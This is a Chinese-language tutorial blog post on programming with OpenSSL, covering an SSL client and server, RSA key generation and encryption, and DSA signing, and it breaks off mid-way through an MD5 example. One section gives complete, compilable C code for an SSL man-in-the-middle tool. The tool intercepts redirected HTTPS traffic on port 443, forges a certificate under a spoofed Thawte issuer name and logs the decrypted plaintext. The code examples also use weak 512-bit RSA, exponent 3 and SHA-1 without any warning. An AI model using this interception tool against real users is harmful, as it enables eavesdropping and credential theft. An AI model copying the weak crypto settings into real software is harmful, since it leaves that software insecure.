OPENSSL編程入門學習

相關學習資料php

http://bbs.pediy.com/showthread.php?t=92649
https://www.openssl.org
https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&ved=0CDoQFjAD&url=http%3a%2f%2fidning-ebook%2egooglecode%2ecom%2fsvn%2ftrunk%2fopenssl%2fopenssl%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581%25E7%25AC%2594%25E8%25AE%25B0%25EF%25BC%2588%25E6%259C%2580%25E7%25AE%2580%25E6%2598%258E%25EF%25BC%2589%2edoc&ei=fV99U_KpN4388QXJ84DgDA&usg=AFQjCNEB9CTfpoTNx_VlSKBciE16gEdupA&sig2=AL3n-KsVRxM96eOoje6IUg&bvm=bv.67229260,d.dGc&cad=rjt
http://www.lovelucy.info/openssl-rsa-programming.html

 

目錄html

1. OPENSSL簡介
2. The SSL library(SSL、TLS開發代碼庫)
3. the Crypto library(密碼學相關開發代碼庫)

 

1. OPENSSL簡介linux

OpenSSL項目是一個協做開發一個健壯的,商業級的,全功能的,而且開放源代碼工具包,它實現了安全套接字層(SSL v2/v3)和傳輸層安全(TLS v1)協議以及全強大的通用加密庫。web

OPENSSL由3部分組成:算法

1. The SSL library(SSL、TLS開發代碼庫)
2. the Crypto library(密碼學相關開發代碼庫)
3. command line tool(命令行工具,提供CA、證書等功能)

關於(3)openssl命令汗工具的使用,請參閱另外一篇文章數據庫

http://www.cnblogs.com/LittleHann/p/3738141.html

本文主要關注基於openssl代碼庫的程序開發編程

 

2. The SSL library(SSL、TLS開發代碼庫)vim

咱們首先要明白,SSL、TLS是一個網絡數據協議,因此咱們使用OPENSSL開發程序的目的一樣也是基於網絡的應用程序,即C/S程序,因此,通常狀況下,咱們須要同時編寫服務端、以及客戶端程序安全

服務端編寫步驟服務器

客戶端編寫步驟

openssl的代碼庫隨着openssl toolkit的安裝自動安裝,全部的頭文件都放在"/usr/include/openssl"中,咱們在GCC編程中須要引入它們

whereis openssl
openssl: /usr/bin/openssl /usr/include/openssl /usr/share/man/man1/openssl.1ssl.gz
cd /usr/include/openssl
ll

0x1: 簡單C/S通訊

ssl-server.c:
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <unistd.h> 
#include <arpa/inet.h> 
#include <openssl/ssl.h> 
#include <openssl/err.h> 

#define MAXBUF 1024 

int main(int argc, char * *argv) 
{
    int sockfd, new_fd;
    socklen_t len;
    struct sockaddr_in my_addr, their_addr;
    unsigned int myport, lisnum;
    char buf[MAXBUF + 1];
    SSL_CTX * ctx;
    //指定監聽端口
    if (argv[1]) 
    {
        myport = atoi(argv[1]);
    }
    else 
    {
        myport = 8888;
    }
    //最大客戶端鏈接數
    if (argv[2]) 
    {
        lisnum = atoi(argv[2]);
    }
    else 
    {
        lisnum = 2;
    }
    /* SSL 庫初始化*/
    SSL_library_init();
    /* 載入全部SSL 算法*/
    OpenSSL_add_all_algorithms();
    /* 載入全部SSL 錯誤消息*/
    SSL_load_error_strings();
    /* 以SSL V2 和V3 標準兼容方式產生一個SSL_CTX ,即SSL Content Text */
    ctx = SSL_CTX_new(SSLv23_server_method());
    /* 
    也能夠用SSLv2_server_method() 或SSLv3_server_method() 單獨表示V2 或V3標準
    */
    if (ctx == NULL) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 載入用戶的數字證書, 此證書用來發送給客戶端。證書裏包含有公鑰*/
    if (SSL_CTX_use_certificate_file(ctx, argv[4], SSL_FILETYPE_PEM) <= 0) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 載入用戶私鑰*/
    if (SSL_CTX_use_PrivateKey_file(ctx, argv[5], SSL_FILETYPE_PEM) <= 0) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 檢查用戶私鑰是否正確*/
    if (!SSL_CTX_check_private_key(ctx)) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }

    /* 開啓一個socket 監聽*/
    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) 
    {
        perror("socket");
        exit(1);
    } 
    else 
    {
        printf("socket created\n");
    }
    bzero( &my_addr, sizeof(my_addr));
    my_addr.sin_family = PF_INET;
    my_addr.sin_port = htons(myport);
    
    //設置監聽的IP
    if (argv[3]) 
    {
        my_addr.sin_addr.s_addr = inet_addr(argv[3]);
    }
    else 
    {
        //若是用戶沒有指定監聽端口,則默認監聽0.0.0.0(任意IP)
        my_addr.sin_addr.s_addr = INADDR_ANY;
    }
    if (bind(sockfd, (struct sockaddr * ) &my_addr, sizeof(struct sockaddr)) == -1) 
    {
        perror("bind");
        exit(1);
    } 
    else
    {
        printf("binded\n");
    } 
    if (listen(sockfd, lisnum) == -1) 
    {
        perror("listen");
        exit(1);
    } 
    else 
    {
        printf("begin listen\n");
    }
    while (1) 
    {
        SSL * ssl;
        len = sizeof(struct sockaddr);
        /* 等待客戶端連上來*/
        if ((new_fd = accept(sockfd, (struct sockaddr * ) & their_addr, &len)) == -1) 
        {
            perror("accept");
            exit(errno);
        } 
        else 
        {
            printf("server: got connection from %s, port %d, socket %d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd);
        }
        /* 基於ctx 產生一個新的SSL */
        ssl = SSL_new(ctx);
        /* 將鏈接用戶的socket 加入到SSL */
        SSL_set_fd(ssl, new_fd);
        /* 創建SSL 鏈接*/
        if (SSL_accept(ssl) == -1) 
        {
            perror("accept");
            close(new_fd);
            break;
        }
        /* 開始處理每一個新鏈接上的數據收發*/
        bzero(buf, MAXBUF + 1);
        strcpy(buf, "server->client");
        /* 發消息給客戶端*/
        len = SSL_write(ssl, buf, strlen(buf));
        if (len <= 0) 
        {
            printf("消息'%s'發送失敗!錯誤代碼是%d,錯誤信息是'%s'\n", buf, errno, strerror(errno));
            goto finish;
        } 
        else 
        {
            printf("消息'%s'發送成功,共發送了%d 個字節!\n", buf, len);
        }
        bzero(buf, MAXBUF + 1);
        /* 接收客戶端的消息*/
        len = SSL_read(ssl, buf, MAXBUF);
        if (len > 0) 
        {
            printf("接收消息成功:'%s',共%d 個字節的數據\n", buf, len);
        }
        else 
        {
            printf("消息接收失敗!錯誤代碼是%d,錯誤信息是'%s'\n", errno, strerror(errno));
        }
        /* 處理每一個新鏈接上的數據收發結束*/
        finish:
        /* 關閉SSL 鏈接*/
        SSL_shutdown(ssl);
        /* 釋放SSL */
        SSL_free(ssl);
        /* 關閉socket */
        close(new_fd);
    }
    /* 關閉監聽的socket */
    close(sockfd);
    /* 釋放CTX */
    SSL_CTX_free(ctx);
    return 0;
}


ssl-client.c
#include <stdio.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/socket.h> 
#include <resolv.h> 
#include <stdlib.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <unistd.h> 
#include <openssl/ssl.h> 
#include <openssl/err.h> 

#define MAXBUF 1024 

void ShowCerts(SSL * ssl) 
{
    X509 * cert;
    char * line;
    cert = SSL_get_peer_certificate(ssl);
    if (cert != NULL) 
    {
        printf("數字證書信息:\n");
        line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
        printf("證書: %s\n", line);
        free(line);
        line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
        printf("頒發者: %s\n", line);
        free(line);
        X509_free(cert);
    } 
    else 
    {
        printf("無證書信息!\n");
    }
} 

int main(int argc, char * *argv) 
{
    int sockfd, len;
    struct sockaddr_in dest;
    char buffer[MAXBUF + 1];
    SSL_CTX * ctx;
    SSL * ssl;
    if (argc != 3) 
    {
        printf("參數格式錯誤!正確用法以下:\n\t\t%s IP 地址端口\n\t 好比:\t%s 127.0.0.1 80\n 此程序用來從某個IP 地址的服務器某個端口接收最多MAXBUF 個字節的消息",
argv[0], argv[0]); exit(0); } /* SSL 庫初始化*/ SSL_library_init(); /* 載入全部SSL 算法*/ OpenSSL_add_all_algorithms(); /* 載入全部SSL 錯誤消息*/ SSL_load_error_strings(); /* 以SSL V2 和V3 標準兼容方式產生一個SSL_CTX ,即SSL Content Text */ ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) { ERR_print_errors_fp(stdout); exit(1); } /* 建立一個socket 用於tcp 通訊*/ if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("Socket"); exit(errno); } printf("socket created\n"); /* 初始化服務器端(對方)的地址和端口信息*/ bzero( &dest, sizeof(dest)); dest.sin_family = AF_INET; //設置鏈接的端口 dest.sin_port = htons(atoi(argv[2])); //設置鏈接的IP地址 if (inet_aton(argv[1], (struct in_addr * ) &dest.sin_addr.s_addr) == 0) { perror(argv[1]); exit(errno); } printf("address created\n"); /* 鏈接服務器*/ if (connect(sockfd, (struct sockaddr * ) &dest, sizeof(dest)) != 0) { perror("Connect "); exit(errno); } printf("server connected\n"); /* 基於ctx 產生一個新的SSL */ ssl = SSL_new(ctx); /* 將新鏈接的socket 加入到SSL */ SSL_set_fd(ssl, sockfd); /* 創建SSL 鏈接*/ if (SSL_connect(ssl) == -1) { ERR_print_errors_fp(stderr); } else { printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); } /* 接收對方發過來的消息,最多接收MAXBUF 個字節*/ bzero(buffer, MAXBUF + 1); /* 接收服務器來的消息*/ len = SSL_read(ssl, buffer, MAXBUF); if (len > 0) { printf("接收消息成功:'%s',共%d 個字節的數據\n", buffer, len); } else { printf("消息接收失敗!錯誤代碼是%d,錯誤信息是'%s'\n", errno, strerror(errno)); goto finish; } bzero(buffer, MAXBUF + 1); strcpy(buffer, "from client->server"); /* 發消息給服務器*/ len = SSL_write(ssl, buffer, strlen(buffer)); if (len < 0) { printf("消息'%s'發送失敗!錯誤代碼是%d,錯誤信息是'%s'\n", buffer, errno, strerror(errno)); } else { printf("消息'%s'發送成功,共發送了%d 個字節!\n", buffer, len); } finish: /* 關閉鏈接*/ SSL_shutdown(ssl); SSL_free(ssl); close(sockfd); SSL_CTX_free(ctx); return 0; } usage: 1. 程序中用到的包含公鑰的服務端證書cacert.pem和服務端私鑰文件privkey.pem須要使用以下方式生成: openssl genrsa -out privkey.pem 2048 openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095 2. 編譯程序用下列命令: gcc -Wall ssl-client.c -o client -lssl gcc -Wall ssl-server.c -o server -lssl 3. 運行程序用以下命令: ./server 8888 3 127.0.0.1 cacert.pem privkey.pem ./client 127.0.0.1 8888

0x2:  做爲SSL中間人與客戶端和原始請求服務端同時創建鏈接,並轉發數據

中間負責監聽443端口,等待客戶端的鏈接,而後中間人單獨和客戶端原始請求的服務端創建SSL鏈接,同時和客戶端也創建一個SSL鏈接,即

1. 客戶端實際上是在和中間人創建SSL鏈接
2. 中間人和原始請求的服務端創建SSL鏈接
3. 中間人將2個socket之間的數據進行雙向轉發,並記錄明文數據

code:

SSL_man_in_middle.c
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/param.h>
#include <linux/netfilter_ipv4.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>

#include <openssl/ssl.h>
#include <openssl/err.h>

#define LISTEN_BACKLOG 50

#define warning(msg) \
    do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0)

#define error(msg) \
    do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0)

int sum = 1;
struct timeval timeout = { 0, 10000000 };

int get_socket_to_server(struct sockaddr_in* original_server_addr) 
{
    int sockfd;

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        error("Fail to initial socket to server!");
    } 
    if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) < 0)
    {
        error("Fail to connect to server!");
    } 
    printf("%d, Connect to server [%s:%d]\n", sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));
    return sockfd;
}

//監聽指定端口,等待客戶端的鏈接
int socket_to_client_init(short int port) 
{
    int sockfd;
    int on = 1;
    struct sockaddr_in addr;
    //初始化一個socket
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        error("Fail to initial socket to client!");
    }         
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0)
    {
        error("reuseaddr error!");
    }  
    memset(&addr, 0, sizeof(addr));
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    addr.sin_family = AF_INET;
    //將該socket綁定到8888端口上
    addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) 
    {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to bind socket to client!");
    }
    //而後監聽該端口
    if (listen(sockfd, LISTEN_BACKLOG) < 0) 
    {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to listen socket to client!");
    }

    return sockfd;
}

/*
當主機B發起一個SSL鏈接時,咱們在本地8888端口就能夠監聽到鏈接,這時咱們接受這個鏈接,並得到該連接的原始目的地址,
以便後續鏈接服務器時使用。該部分封裝到了get_socket_to_client函數中。
*/
int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) 
{
    int client_fd;
    struct sockaddr_in client_addr;
    socklen_t client_size = sizeof(struct sockaddr);
    socklen_t server_size = sizeof(struct sockaddr);

    memset(&client_addr, 0, client_size);
    memset(original_server_addr, 0, server_size);
    client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size);
    if (client_fd < 0)
    {
        warning("Fail to accept socket to client!");
        return -1;
    }
    /*
    經過getsockopt函數得到socket中的SO_ORIGINAL_DST屬性,獲得報文被iptables重定向以前的原始目的地址。
    使用SO_ORIGINAL_DST屬性須要包括頭文件<linux/netfilter_ipv4.h>。
    值得注意的是,在當前的情景下,經過getsockname等函數是沒法正確得到原始的目的地址的,
    由於iptables在重定向報文到本地端口時,已經將IP報文的目的地址修改成本地地址,
    因此getsockname等函數得到的都是本地地址而不是服務器的地址。
    */
    if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size) < 0) 
    {
        warning("Fail to get original server address of socket to client!");;
    }
    printf("%d, Find SSL connection from client [%s:%d]", sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
    printf(" to server [%s:%d]\n", inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));

    return client_fd;
}

// 初始化openssl庫
void SSL_init() 
{
    SSL_library_init();
    SSL_load_error_strings();
}

void SSL_Warning(char *custom_string) {
    char error_buffer[256] = { 0 };

    fprintf(stderr, "%d, %s ", sum, custom_string);
    ERR_error_string(ERR_get_error(), error_buffer);
    fprintf(stderr, "%s\n", error_buffer);
}

void SSL_Error(char *custom_string) {
    SSL_Warning(custom_string);
    exit(EXIT_FAILURE);
}

//在與服務器創建了socket鏈接以後,咱們就能夠創建SSL鏈接了。這裏咱們使用linux系統中著名的SSL庫openssl來完成咱們的接下來的工做
SSL* SSL_to_server_init(int socket) 
{
    SSL_CTX *ctx;

    ctx = SSL_CTX_new(SSLv23_client_method());
    if (ctx == NULL)
    {
        SSL_Error("Fail to init ssl ctx!");
    } 
    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
    {
        SSL_Error("Create ssl error");
    } 
    if (SSL_set_fd(ssl, socket) != 1)
    {
        SSL_Error("Set fd error");
    } 

    return ssl;
}

SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) {
    SSL_CTX *ctx;

    ctx = SSL_CTX_new(SSLv23_server_method());
    if (ctx == NULL)
        SSL_Error("Fail to init ssl ctx!");
    if (cert && key) {
        if (SSL_CTX_use_certificate(ctx, cert) != 1)
            SSL_Error("Certificate error");
        if (SSL_CTX_use_PrivateKey(ctx, key) != 1)
            SSL_Error("key error");
        if (SSL_CTX_check_private_key(ctx) != 1)
            SSL_Error("Private key does not match the certificate public key");
    }

    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
        SSL_Error("Create ssl error");
    if (SSL_set_fd(ssl, socket) != 1)
        SSL_Error("Set fd error");

    return ssl;
}

void SSL_terminal(SSL *ssl) {
    SSL_CTX *ctx = SSL_get_SSL_CTX(ssl);
    SSL_shutdown(ssl);
    SSL_free(ssl);
    if (ctx)
        SSL_CTX_free(ctx);
}


// 從文件讀取僞造SSL證書時須要的RAS私鑰和公鑰
EVP_PKEY* create_key() 
{
    EVP_PKEY *key = EVP_PKEY_new();
    RSA *rsa = RSA_new();

    FILE *fp;
    if ((fp = fopen("private.key", "r")) == NULL)
    {
        error("private.key");
    } 
    PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL);
    
    if ((fp = fopen("public.key", "r")) == NULL)
    {
        error("public.key");
    } 
    PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL);

    EVP_PKEY_assign_RSA(key,rsa);
    return key;
}

X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) 
{
    unsigned char buffer[128] = { 0 };
    int length = 0, loc;
    X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server);
    X509 *fake_x509 = X509_dup(server_x509);
    if (server_x509 == NULL)
    {
        SSL_Error("Fail to get the certificate from server!"); 
    }
        
    X509_set_version(fake_x509, X509_get_version(server_x509));
    ASN1_INTEGER *a = X509_get_serialNumber(fake_x509);
    a->data[0] = a->data[0] + 1; 
    X509_NAME *issuer = X509_NAME_new(); 
    X509_NAME_add_entry_by_txt(issuer, "CN", MBSTRING_ASC,
            "Thawte SGC CA", -1, -1, 0);
    X509_NAME_add_entry_by_txt(issuer, "O", MBSTRING_ASC, "Thawte Consulting (Pty) Ltd.", -1, -1, 0);
    X509_NAME_add_entry_by_txt(issuer, "OU", MBSTRING_ASC, "Thawte SGC CA", -1,
            -1, 0);
    X509_set_issuer_name(fake_x509, issuer);  
    X509_sign(fake_x509, key, EVP_sha1()); 

    return fake_x509;
}

/*
咱們將抓取數據的代碼封裝到transfer函數中。該函數主要是使用系統的select函數同時監聽服務器和客戶端,
並使用SSL_read和SSL_write不斷的在兩個信道之間傳遞數據,並將數據輸出到控制檯
*/
int transfer(SSL *ssl_to_client, SSL *ssl_to_server) 
{
    int socket_to_client = SSL_get_fd(ssl_to_client);
    int socket_to_server = SSL_get_fd(ssl_to_server);
    int ret;
    char buffer[4096] = { 0 };

    fd_set fd_read;

    printf("%d, waiting for transfer\n", sum);
    while (1) 
    {
        int max;

        FD_ZERO(&fd_read);
        FD_SET(socket_to_server, &fd_read);
        FD_SET(socket_to_client, &fd_read);
        max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1;

        ret = select(max, &fd_read, NULL, NULL, &timeout);
        if (ret < 0) 
        {
            SSL_Warning("Fail to select!");
            break;
        } 
        else if (ret == 0) 
        {
            continue;
        }
        if (FD_ISSET(socket_to_client, &fd_read)) 
        {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_client, buffer, sizeof(buffer));
            if (ret > 0) 
            {
                if (ret != SSL_write(ssl_to_server, buffer, ret)) 
                {
                    SSL_Warning("Fail to write to server!");
                    break;
                } 
                else 
                {
                    printf("%d, client send %d bytes to server\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } 
            else 
            {
                SSL_Warning("Fail to read from client!");
                break;
            }
        }
        if (FD_ISSET(socket_to_server, &fd_read)) 
        {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_server, buffer, sizeof(buffer));
            if (ret > 0) {
                if (ret != SSL_write(ssl_to_client, buffer, ret)) 
                {
                    SSL_Warning("Fail to write to client!");
                    break;
                } 
                else 
                {
                    printf("%d, server send %d bytes to client\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } 
            else 
            {
                SSL_Warning("Fail to read from server!");
                break;
            }
        }
    }
    return -1;
}

int main() 
{
    // 初始化一個socket,將該socket綁定到443端口,並監聽
    int socket = socket_to_client_init(443);
    // 從文件讀取僞造SSL證書時須要的RAS私鑰和公鑰
    EVP_PKEY* key = create_key();
    // 初始化openssl庫
    SSL_init();

    while (1) 
    {
        struct sockaddr_in original_server_addr;
        // 從監聽的端口得到一個客戶端的鏈接,並將該鏈接的原始目的地址存儲到original_server_addr中
        int socket_to_client = get_socket_to_client(socket, &original_server_addr);
        if (socket_to_client < 0)
        {
            continue;
        } 
        // 新建一個子進程處理後續事宜,主進程繼續監聽端口等待後續鏈接
        if (!fork()) 
        {
            X509 *fake_x509;
            SSL *ssl_to_client, *ssl_to_server;

            // 經過得到的原始目的地址,鏈接真正的服務器,得到一個和服務器鏈接的socket
            int socket_to_server = get_socket_to_server(&original_server_addr);
            // 經過和服務器鏈接的socket創建一個和服務器的SSL鏈接
            ssl_to_server = SSL_to_server_init(socket_to_server);
            if (SSL_connect(ssl_to_server) < 0)
            {
                SSL_Error("Fail to connect server with ssl!");
            } 
            printf("%d, SSL to server\n", sum);

            // 從服務器得到證書,並經過這個證書僞造一個假的證書
            fake_x509 = create_fake_certificate(ssl_to_server, key);
            // 使用假的證書和咱們本身的密鑰,和客戶端創建一個SSL鏈接。至此,SSL中間人攻擊成功
            ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key);
            if (SSL_accept(ssl_to_client) <= 0)
            {
                SSL_Error("Fail to accept client with ssl!");
            } 
            printf("%d, SSL to client\n", sum);

            // 在服務器SSL鏈接和客戶端SSL鏈接之間轉移數據,並輸出服務器和客戶端之間通訊的數據
            if (transfer(ssl_to_client, ssl_to_server) < 0)
            {
                break;
            } 
            printf("%d, connection shutdown\n", sum);
            shutdown(socket_to_server, SHUT_RDWR);
            SSL_terminal(ssl_to_client);
            SSL_terminal(ssl_to_server);
            X509_free(fake_x509);
            EVP_PKEY_free(key);
        } 
        else 
        {
            ++sum;
        }
    }

    return 0;
}

usage:
1. 生成本地僞證書公鑰、私鑰
openssl genrsa -out private.key 1024
openssl rsa -in private.key -pubout -out public.key
2. 編譯
vim SSL_man_in_middle.c
gcc SSL_man_in_middle.c -o SSL_man_in_middle -lssl
3. 運行(監聽443端口)
./SSL_man_in_middle

 

 

3. the Crypto library(密碼學相關開發代碼庫)

0x1: RSA密鑰生成

RSA算法是一個普遍使用的公鑰算法。其密鑰包括公鑰和私鑰。它能用於數字簽名、身份認證以及密鑰交換。RSA密鑰長度通常使用1024位或者更高。RSA密鑰信息主要包括

1. n: 模數
2. e: 公鑰指數
3. d: 私鑰指數
4. p: 最初的大素數
5. q: 最初的大素數
6. dmp1: e*dmp1 = 1 (mod (p-1))
7. dmq1: e*dmq1 = 1 (mod (q-1))
8. iqmp: q*iqmp = 1 (mod p )

其中,公鑰爲n和e;私鑰爲n和d。在實際應用中,公鑰加密通常用來協商密鑰,私鑰加密通常用來簽名

rsa_keygen.c
#include <openssl/rsa.h>

int main() 
{ 
    RSA * r; 
    int bits = 512, ret; 
    unsigned long e = RSA_3; 
    BIGNUM * bne;

    //調用RSA_generate_key函數生成RSA密鑰參數 
    r = RSA_generate_key(bits, e, NULL, NULL);
    //調用RSA_print_fp打印密鑰信息
    RSA_print_fp(stdout, r, 11); 
    RSA_free(r);

    bne = BN_new(); 
    ret = BN_set_word(bne, e); 
    r = RSA_new(); 
    //調用RSA_generate_key_ex函數生成RSA密鑰參數
    ret = RSA_generate_key_ex(r, bits, bne, NULL);

    if (ret != 1) 
    { 
        printf("RSA_generate_key_ex err!\n"); 
        return - 1; 
    }

    RSA_free(r); 
    return 0; 
}

usage:
1. 編譯程序
gcc -Wall rsa_keygen.c -o rsa_keygen -lssl
2. 運行程序
./rsa_keygen

0x2: RSA加解密運算

RSA算法中,公鑰、私鑰的加解密是對稱的,即

1. 公鑰解密--私鑰解密
2. 私鑰加密--公鑰解密

code:

rsa_crypto.c
/*
* rsa.cc
* - Show the usage of RSA encryption/decryption
*/ 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/bn.h>
#include <openssl/rsa.h>
 
int main(int argc, char** argv) 
{
    RSA* rsa;
    unsigned char* input_string;
    unsigned char* encrypt_string;
    unsigned char* decrypt_string;
    int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <plain text>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char));
    if (input_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for input_string\n");
        exit(-1);
    }
    strncpy((char*)input_string, argv[1], strlen(argv[1]));
 
    // Generate RSA parameters with 1024 bits (using exponent 3)
    rsa = RSA_generate_key(1024, 3, NULL, NULL);
 
    // set encryption RSA instance (with only n and e), to resemble
    // the key distribution process
    unsigned char* n_b = (unsigned char*)calloc(RSA_size(rsa),  sizeof(unsigned char));
    unsigned char* e_b = (unsigned char*)calloc(RSA_size(rsa),  sizeof(unsigned char));
    int n_size = BN_bn2bin(rsa->n, n_b);
    int b_size = BN_bn2bin(rsa->e, e_b);
    // assume the byte strings are sent over the network
    RSA* encrypt_rsa = RSA_new();
    encrypt_rsa->n = BN_bin2bn(n_b, n_size, NULL);
    encrypt_rsa->e = BN_bin2bn(e_b, b_size, NULL);
 
    // alloc encrypt_string
    encrypt_string = (unsigned char*)calloc(RSA_size(encrypt_rsa), sizeof(unsigned char));    
    if (encrypt_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for encrypt_string\n");
        exit(-1);
    }
 
    // encrypt (return the size of the encrypted data)
    // note that if RSA_PKCS1_OAEP_PADDING is used, 
    // flen must be < RSA_size - 41 
    int encrypt_size = RSA_public_encrypt(strlen((char*)input_string), input_string, encrypt_string, encrypt_rsa, RSA_PKCS1_OAEP_PADDING);
 
    // alloc decrypt_string
    decrypt_string = (unsigned char*)calloc(RSA_size(rsa), sizeof(unsigned char));
    if (decrypt_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for decrypt_string\n");
        exit(-1);
    }
 
    // decrypt
    int decrypt_size = RSA_private_decrypt(encrypt_size, encrypt_string, decrypt_string, rsa, RSA_PKCS1_OAEP_PADDING);
 
    // print
    printf("input_string = %s\n", input_string);
    printf("encrypted string = ");
    for (i=0; i<encrypt_size; ++i) 
    {
        printf("%x%x", (encrypt_string[i] >> 4) & 0xf, encrypt_string[i] & 0xf);    
    }
    printf("\n");
    printf("decrypted string (%d) = %s\n", decrypt_size, decrypt_string);
 
    return 0;
}

usage:
1. 編譯程序
gcc -Wall rsa_crypto.c -o crypto -lssl
2. 運行程序
./crypto hello

0x3: DSA簽名與驗證

和手寫簽名同樣,數字簽名能夠爲咱們驗證文檔的做者、簽名的時間,從而鑑明消息的內容是真實可靠的。它的目的和MAC相似,只是使用的是公鑰加密體系。
在DSA數字簽名和認證中,發送者使用本身的私鑰對文件或消息進行簽名,接受者收到消息後使用發送者的公鑰來驗證簽名的真實性

咱們知道,非對稱密鑰體系一個最大的缺點就是速度很慢,若是咱們須要傳送一個1G大小的文件,則加密解密簽名驗證都須要耗費大量的時間。因此,包括SSL/TLS在內的主流的協議框架中,都規定用一個哈希函數對消息進行摘要,對摘要進行簽名和驗證,這樣能夠加快速度

dsa_signed.c
/*
* dsa.cc
* - Show the usage of DSA sign/verify
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/dsa.h>
 
int main(int argc, char** argv) 
{
    DSA* dsa;
    unsigned char* input_string;
    unsigned char* sign_string;
    unsigned int sig_len;
    unsigned int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <plain text>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char));
    if (input_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for input_string\n");
        exit(-1);
    }
    strncpy((char*)input_string, argv[1], strlen(argv[1]));
 
    // Generate random DSA parameters with 1024 bits 
    dsa = DSA_generate_parameters(1024, NULL, 0, NULL, NULL, NULL, NULL);
 
    // Generate DSA keys
    DSA_generate_key(dsa);
 
    // alloc sign_string
    sign_string = (unsigned char*)calloc(DSA_size(dsa), sizeof(unsigned char));    
    if (sign_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for sign_string\n");
        exit(-1);
    }
 
    // sign input_string
    if (DSA_sign(0, input_string, strlen((char*)input_string), sign_string, &sig_len, dsa) == 0) 
    {
        fprintf(stderr, "Sign Error.\n");
        exit(-1);
    }
 
    // verify signature and input_string
    int is_valid_signature = DSA_verify(0, input_string, strlen((char*)input_string), sign_string, sig_len, dsa);
 
    // print
    DSAparams_print_fp(stdout, dsa);
    printf("input_string = %s\n", input_string);
    printf("signed string = ");
    for (i=0; i<sig_len; ++i) 
    {
        printf("%x%x", (sign_string[i] >> 4) & 0xf, sign_string[i] & 0xf);    
    }
    printf("\n");
    printf("is_valid_signature? = %d\n", is_valid_signature);
 
    return 0;
}

usage:
1. 編譯程序
gcc -Wall dsa_signed.c -o signed -lssl
2. 運行程序
./signed hello

0x4: MD5哈希散列生成摘要

取任意長度的消息,生成一個固定長度的散列值,或者叫作摘要。哈希函數的實現都是公開的,它普遍應用於文件完整性檢測、數字簽名中。登陸密碼也有用到哈希函數,通常網站在數據庫中不是直接存儲的用戶密碼,而是密碼的哈希值,這樣即便數據庫暴露,攻擊者仍然是不知道密碼的明文的。

md5.c
/*
* md5.cc
* - Using md5 with openSSL. MD5 returns a 128-bit hash value from a string.
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/md5.h>
 
int main(int argc, char** argv) 
{
    MD5_CTX hash_ctx;
    char input_string[128];
    unsigned char hash_ret[16];
    int i;
 
    // check usage
    if (argc != 2) 
    {
